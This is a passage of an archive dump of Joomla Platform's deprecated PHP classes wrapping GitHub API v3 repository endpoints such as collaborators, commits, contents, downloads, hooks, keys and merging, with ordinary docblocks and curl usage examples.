* @since 1.7.3
*/
public function deleteComment($user, $repo, $commentId)
{
$this->comments->delete($user, $repo, $commentId);
}
/**
* Method to update a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @deprecated use pulls->comments->edit()
*
* @return object
*
* @since 1.7.3
*/
public function editComment($user, $repo, $commentId, $body)
{
return $this->comments->edit($user, $repo, $commentId, $body);
}
/**
* Method to get a specific comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The comment id to get.
*
* @deprecated use pulls->comments->get()
*
* @return object
*
* @since 1.7.3
*/
public function getComment($user, $repo, $commentId)
{
return $this->comments->get($user, $repo, $commentId);
}
/**
* Method to get the list of comments on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use pulls->comments->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getComments($user, $repo, $pullId, $page = 0, $limit = 0)
{
return $this->comments->getList($user, $repo, $pullId, $page,
$limit);
}
}
github/package/repositories/collaborators.php000064400000006073151171674100015540
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Collaborators class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/collaborators
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesCollaborators extends JGithubPackage
{
/**
* List.
*
* When authenticating as an organization owner of an organization-owned
repository, all organization
* owners are included in the list of collaborators. Otherwise, only users
with access to the repository
* are returned in the collaborators list.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Test if a user is a collaborator.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $user The name of the GitHub user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean
*/
public function get($owner, $repo, $user)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204';
return true;
break;
case '404';
return false;
break;
default;
throw new UnexpectedValueException('Unexpected code: ' .
$response->code);
break;
}
}
/**
* Add collaborator.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $user The name of the GitHub user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function add($owner, $repo, $user)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Remove collaborator.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $user The name of the GitHub user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function remove($owner, $repo, $user)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/repositories/comments.php000064400000011512151171674100014511
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Comments class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/comments
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesComments extends JGithubPackage
{
/**
* Method to get a list of commit comments for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 3.0.0
*/
public function getListRepository($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Method to get a list of comments for a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 3.0.0
*/
public function getList($user, $repo, $sha, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Method to get a single comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the comment to retrieve
*
* @return array
*
* @since 3.0.0
*/
public function get($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to edit a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
* @param string $comment The text of the comment.
*
* @return object
*
* @since 3.0.0
*/
public function edit($user, $repo, $id, $comment)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
$data = json_encode(
array(
'body' => $comment,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to delete a comment on a commit.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
*
* @return object
*
* @since 3.0.0
*/
public function delete($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to create a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to comment on.
* @param string $comment The text of the comment.
* @param integer $line The line number of the commit to comment
on.
* @param string $filepath A relative path to the file to comment on
within the commit.
* @param integer $position Line index in the diff to comment on.
*
* @return object
*
* @since 3.0.0
*/
public function create($user, $repo, $sha, $comment, $line, $filepath,
$position)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
$data = json_encode(
array(
'body' => $comment,
'path' => $filepath,
'position' => (int) $position,
'line' => (int) $line,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
}
github/package/repositories/commits.php000064400000007474151171674100014353
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Commits class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/commits
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesCommits extends JGithubPackage
{
/**
* Method to list commits for a repository.
*
* A special note on pagination: Due to the way Git works, commits are
paginated based on SHA
* instead of page number.
* Please follow the link headers as outlined in the pagination overview
instead of constructing
* page links yourself.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha Sha or branch to start listing commits from.
* @param string $path Only commits containing this file path will
be returned.
* @param string $author GitHub login, name, or email by which to
filter by commit author.
* @param JDate $since ISO 8601 Date - Only commits after this date
will be returned.
* @param JDate $until ISO 8601 Date - Only commits before this date
will be returned.
*
* @throws DomainException
* @since 3.0.0
*
* @return array
*/
public function getList($user, $repo, $sha = '', $path =
'', $author = '', JDate $since = null, JDate $until =
null)
{
// Build the request path.
$rPath = '/repos/' . $user . '/' . $repo .
'/commits?';
$rPath .= ($sha) ? '&sha=' . $sha : '';
$rPath .= ($path) ? '&path=' . $path : '';
$rPath .= ($author) ? '&author=' . $author : '';
$rPath .= ($since) ? '&since=' . $since->toISO8601() :
'';
$rPath .= ($until) ? '&until=' . $until->toISO8601() :
'';
// Send the request.
$response = $this->client->get($this->fetchUrl($rPath));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
*
* @throws DomainException
* @since 3.0.0
*
* @return array
*/
public function get($user, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a diff for two commits.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $base The base of the diff, either a commit SHA or
branch.
* @param string $head The head of the diff, either a commit SHA or
branch.
*
* @return array
*
* @since 3.0.0
*/
public function compare($user, $repo, $base, $head)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/compare/' . $base . '...' . $head;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
github/package/repositories/contents.php000064400000012760151171674100014527
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Contents class for the Joomla Platform.
*
* These API methods let you retrieve the contents of files within a
repository as Base64 encoded content.
* See media types for requesting raw or other formats.
*
* @documentation https://developer.github.com/v3/repos/contents
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesContents extends JGithubPackage
{
/**
* Get the README
*
* This method returns the preferred README for a repository.
*
* GET /repos/:owner/:repo/readme
*
* Parameters
*
* ref
* Optional string - The String name of the Commit/Branch/Tag. Defaults to
master.
*
* Response
*
* Status: 200 OK
* X-RateLimit-Limit: 5000
* X-RateLimit-Remaining: 4999
*
* {
* "type": "file",
* "encoding": "base64",
* "_links": {
* "git":
"https://api.github.com/repos/octokit/octokit.rb/git/blobs/3d21ec53a331a6f037a91c368710b99387d012c1",
* "self":
"https://api.github.com/repos/octokit/octokit.rb/contents/README.md",
* "html":
"https://github.com/octokit/octokit.rb/blob/master/README.md"
* },
* "size": 5362,
* "name": "README.md",
* "path": "README.md",
* "content": "encoded content ...",
* "sha": "3d21ec53a331a6f037a91c368710b99387d012c1"
* }
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The String name of the Commit/Branch/Tag.
Defaults to master.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getReadme($owner, $repo, $ref = '')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/readme';
if ($ref)
{
$path .= '?ref=' . $ref;
}
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get contents
*
* This method returns the contents of any file or directory in a
repository.
*
* GET /repos/:owner/:repo/contents/:path
*
* Parameters
*
* path
* Optional string - The content path.
* ref
* Optional string - The String name of the Commit/Branch/Tag. Defaults to
master.
*
* Response
*
* Status: 200 OK
* X-RateLimit-Limit: 5000
* X-RateLimit-Remaining: 4999
*
* {
* "type": "file",
* "encoding": "base64",
* "_links": {
* "git":
"https://api.github.com/repos/octokit/octokit.rb/git/blobs/3d21ec53a331a6f037a91c368710b99387d012c1",
* "self":
"https://api.github.com/repos/octokit/octokit.rb/contents/README.md",
* "html":
"https://github.com/octokit/octokit.rb/blob/master/README.md"
* },
* "size": 5362,
* "name": "README.md",
* "path": "README.md",
* "content": "encoded content ...",
* "sha": "3d21ec53a331a6f037a91c368710b99387d012c1"
* }
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $path The content path.
* @param string $ref The String name of the Commit/Branch/Tag.
Defaults to master.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $path, $ref = '')
{
// Build the request path.
$rPath = '/repos/' . $owner . '/' . $repo .
'/contents/' . $path;
if ($ref)
{
$rPath .= '?ref=' . $ref;
}
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($rPath))
);
}
/**
* Get archive link
*
* This method will return a 302 to a URL to download a tarball or zipball
archive for a repository.
* Please make sure your HTTP framework is configured to follow redirects
or you will need to use the Location header to make a second GET request.
*
* Note: For private repositories, these links are temporary and expire
quickly.
*
* GET /repos/:owner/:repo/:archive_format/:ref
*
* Parameters
*
* archive_format
* Either tarball or zipball
* ref
* Optional string - valid Git reference, defaults to master
*
* Response
*
* Status: 302 Found
* Location:
http://github.com/me/myprivate/tarball/master?SSO=thistokenexpires
* X-RateLimit-Limit: 5000
* X-RateLimit-Remaining: 4999
*
* To follow redirects with curl, use the -L switch:
*
* curl -L https://api.github.com/repos/octokit/octokit.rb/tarball >
octokit.tar.gz
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $archiveFormat Either tarball or zipball.
* @param string $ref The String name of the
Commit/Branch/Tag. Defaults to master.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function getArchiveLink($owner, $repo, $archiveFormat =
'zipball', $ref = '')
{
if (false == in_array($archiveFormat, array('tarball',
'zipball')))
{
throw new UnexpectedValueException('Archive format must be either
"tarball" or "zipball".');
}
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/' . $archiveFormat;
if ($ref)
{
$path .= '?ref=' . $ref;
}
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path)),
302
);
}
}
github/package/repositories/downloads.php000064400000014204151171674100014657
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Downloads class for the Joomla Platform.
*
* The downloads API is for package downloads only.
* If you want to get source tarballs you should use
* https://developer.github.com/v3/repos/contents/#get-archive-link
instead.
*
* @documentation https://developer.github.com/v3/repos/downloads
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesDownloads extends JGithubPackage
{
/**
* List downloads for a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a single download.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the download.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads/' . $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a new download (Part 1: Create the resource).
*
* Creating a new download is a two step process. You must first create a
new download resource.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The name.
* @param string $size Size of file in bytes.
* @param string $description The description.
* @param string $contentType The content type.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($owner, $repo, $name, $size, $description =
'', $contentType = '')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads';
$data = array(
'name' => $name,
'size' => $size,
);
if ($description)
{
$data['description'] = $description;
}
if ($contentType)
{
$data['content_type'] = $contentType;
}
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Create a new download (Part 2: Upload file to s3).
*
* Now that you have created the download resource, you can use the
information
* in the response to upload your file to s3. This can be done with a POST
to
* the s3_url you got in the create response. Here is a brief example
using curl:
*
* curl \
* -F "key=downloads/octocat/Hello-World/new_file.jpg" \
* -F "acl=public-read" \
* -F "success_action_status=201" \
* -F "Filename=new_file.jpg" \
* -F "AWSAccessKeyId=1ABCDEF..." \
* -F "Policy=ewogIC..." \
* -F "Signature=mwnF..." \
* -F "Content-Type=image/jpeg" \
* -F "file=@new_file.jpg" \
* https://github.s3.amazonaws.com/
*
* NOTES
* The order in which you pass these fields matters! Follow the order
shown above exactly.
* All parameters shown are required and if you excluded or modify them
your upload will
* fail because the values are hashed and signed by the policy.
*
* More information about using the REST API to interact with s3 can be
found here:
* http://docs.amazonwebservices.com/AmazonS3/latest/API/
*
* @param string $key Value of path field in the
response.
* @param string $acl Value of acl field in the
response.
* @param string $successActionStatus 201, or whatever you want to get
back.
* @param string $filename Value of name field in the
response.
* @param string $awsAccessKeyId Value of accesskeyid field in
the response.
* @param string $policy Value of policy field in the
response.
* @param string $signature Value of signature field in the
response.
* @param string $contentType Value of mime_type field in the
response.
* @param string $file Local file. Example assumes the
file existing in the directory
* where you are running the curl
command. Yes, the @ matters.
*
* @since 3.3 (CMS)
*
* @return boolean
*/
public function upload($key, $acl, $successActionStatus, $filename,
$awsAccessKeyId, $policy, $signature, $contentType, $file)
{
// Build the request path.
$url = 'https://github.s3.amazonaws.com/';
$data = array(
'key' => $key,
'acl' => $acl,
'success_action_status' => (int) $successActionStatus,
'Filename' => $filename,
'AWSAccessKeyId' => $awsAccessKeyId,
'Policy' => $policy,
'Signature' => $signature,
'Content-Type' => $contentType,
'file' => $file,
);
// Send the request.
$response = $this->client->post($url, $data);
// @todo Process the response..
return (201 == $response->code) ? true : false;
}
/**
* Delete a download.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the download.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/repositories/forks.php000064400000004664151171674100014022
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Forks class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/forks
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesForks extends JGithubPackage
{
/**
* Method to fork a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $org The organization to fork the repo into. By
default it is forked to the current user.
*
* @return object
*
* @since 2.5.0
* @throws DomainException
*/
public function create($user, $repo, $org = '')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
if (strlen($org) > 0)
{
$data = json_encode(
array('org' => $org)
);
}
else
{
$data = json_encode(array());
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 202)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list forks for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 2.5.0
* @throws DomainException
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/package/repositories/hooks.php000064400000014347151171674100014020
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Hooks class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/hooks
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesHooks extends JGithubPackage
{
/**
* Array containing the allowed hook events
*
* @var array
* @since 3.1.4
*/
protected $events = array(
'push',
'issues',
'issue_comment',
'commit_comment',
'pull_request',
'gollum',
'watch',
'download',
'fork',
'fork_apply',
'member',
'public',
'status',
);
/**
* Method to create a hook on a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the service.
* @param array $events The events the hook will be triggered for.
* @param boolean $active Flag to determine if the hook is active
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function create($user, $repo, $name, $config, array $events =
array('push'), $active = true)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
$data = json_encode(
array('name' => $name, 'config' => $config,
'events' => $events, 'active' => $active)
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a hook
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete.
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function delete($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to edit a hook.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to edit.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the
service.
* @param array $events The events the hook will be triggered
for. This resets the currently set list
* @param array $addEvents Events to add to the hook.
* @param array $removeEvents Events to remove from the hook.
* @param boolean $active Flag to determine if the hook is
active
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function edit($user, $repo, $id, $name, $config, array $events =
array('push'), array $addEvents = array(),
array $removeEvents = array(), $active = true)
{
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
foreach ($addEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your active_events array contains an
unauthorized event.');
}
}
foreach ($removeEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your remove_events array contains an
unauthorized event.');
}
}
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
$data = json_encode(
array(
'name' => $name,
'config' => $config,
'events' => $events,
'add_events' => $addEvents,
'remove_events' => $removeEvents,
'active' => $active,
)
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to get details about a single hook for the repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to retrieve
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function get($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to list hooks for a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function getList($user, $repo)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to test a hook against the latest repository commit
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function test($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id . '/test';
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode('')),
204
);
}
}
github/package/repositories/keys.php000064400000006367151171674100013653
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Forks class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/keys
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesKeys extends JGithubPackage
{
/**
* List keys in a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3.0
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the key.
*
* @since 3.3.0
*
* @return object
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys/' . (int) $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $title The key title.
* @param string $key The key.
*
* @since 3.3.0
*
* @return object
*/
public function create($owner, $repo, $title, $key)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys';
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
/**
* Edit a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the key.
* @param string $title The key title.
* @param string $key The key.
*
* @since 3.3.0
*
* @return object
*/
public function edit($owner, $repo, $id, $title, $key)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys/' . (int) $id;
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* Delete a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the key.
*
* @since 3.3.0
*
* @return boolean
*/
public function delete($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys/' . (int) $id;
$this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
return true;
}
}
github/package/repositories/merging.php000064400000004761151171674100014324
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Merging class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/merging
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesMerging extends JGithubPackage
{
/**
* Perform a merge.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $base The name of the base branch that the
head will be merged into.
* @param string $head The head to merge. This can be a
branch name or a commit SHA1.
* @param string $commitMessage Commit message to use for the merge
commit.
* If omitted, a default message will be
used.
*
* @throws UnexpectedValueException
* @since 3.3.0
*
* @return boolean
*/
public function perform($owner, $repo, $base, $head, $commitMessage =
'')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/merges';
$data = new stdClass;
$data->base = $base;
$data->head = $head;
if ($commitMessage)
{
$data->commit_message = $commitMessage;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path),
json_encode($data));
switch ($response->code)
{
case '201':
// Success
return json_decode($response->body);
break;
case '204':
// No-op response (base already contains the head, nothing to merge)
throw new UnexpectedValueException('Nothing to merge');
break;
case '404':
// Missing base or Missing head response
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Missing base or head: ' . $response->code;
throw new UnexpectedValueException($message);
break;
case '409':
// Merge conflict response
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Merge conflict ' . $response->code;
throw new UnexpectedValueException($message);
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
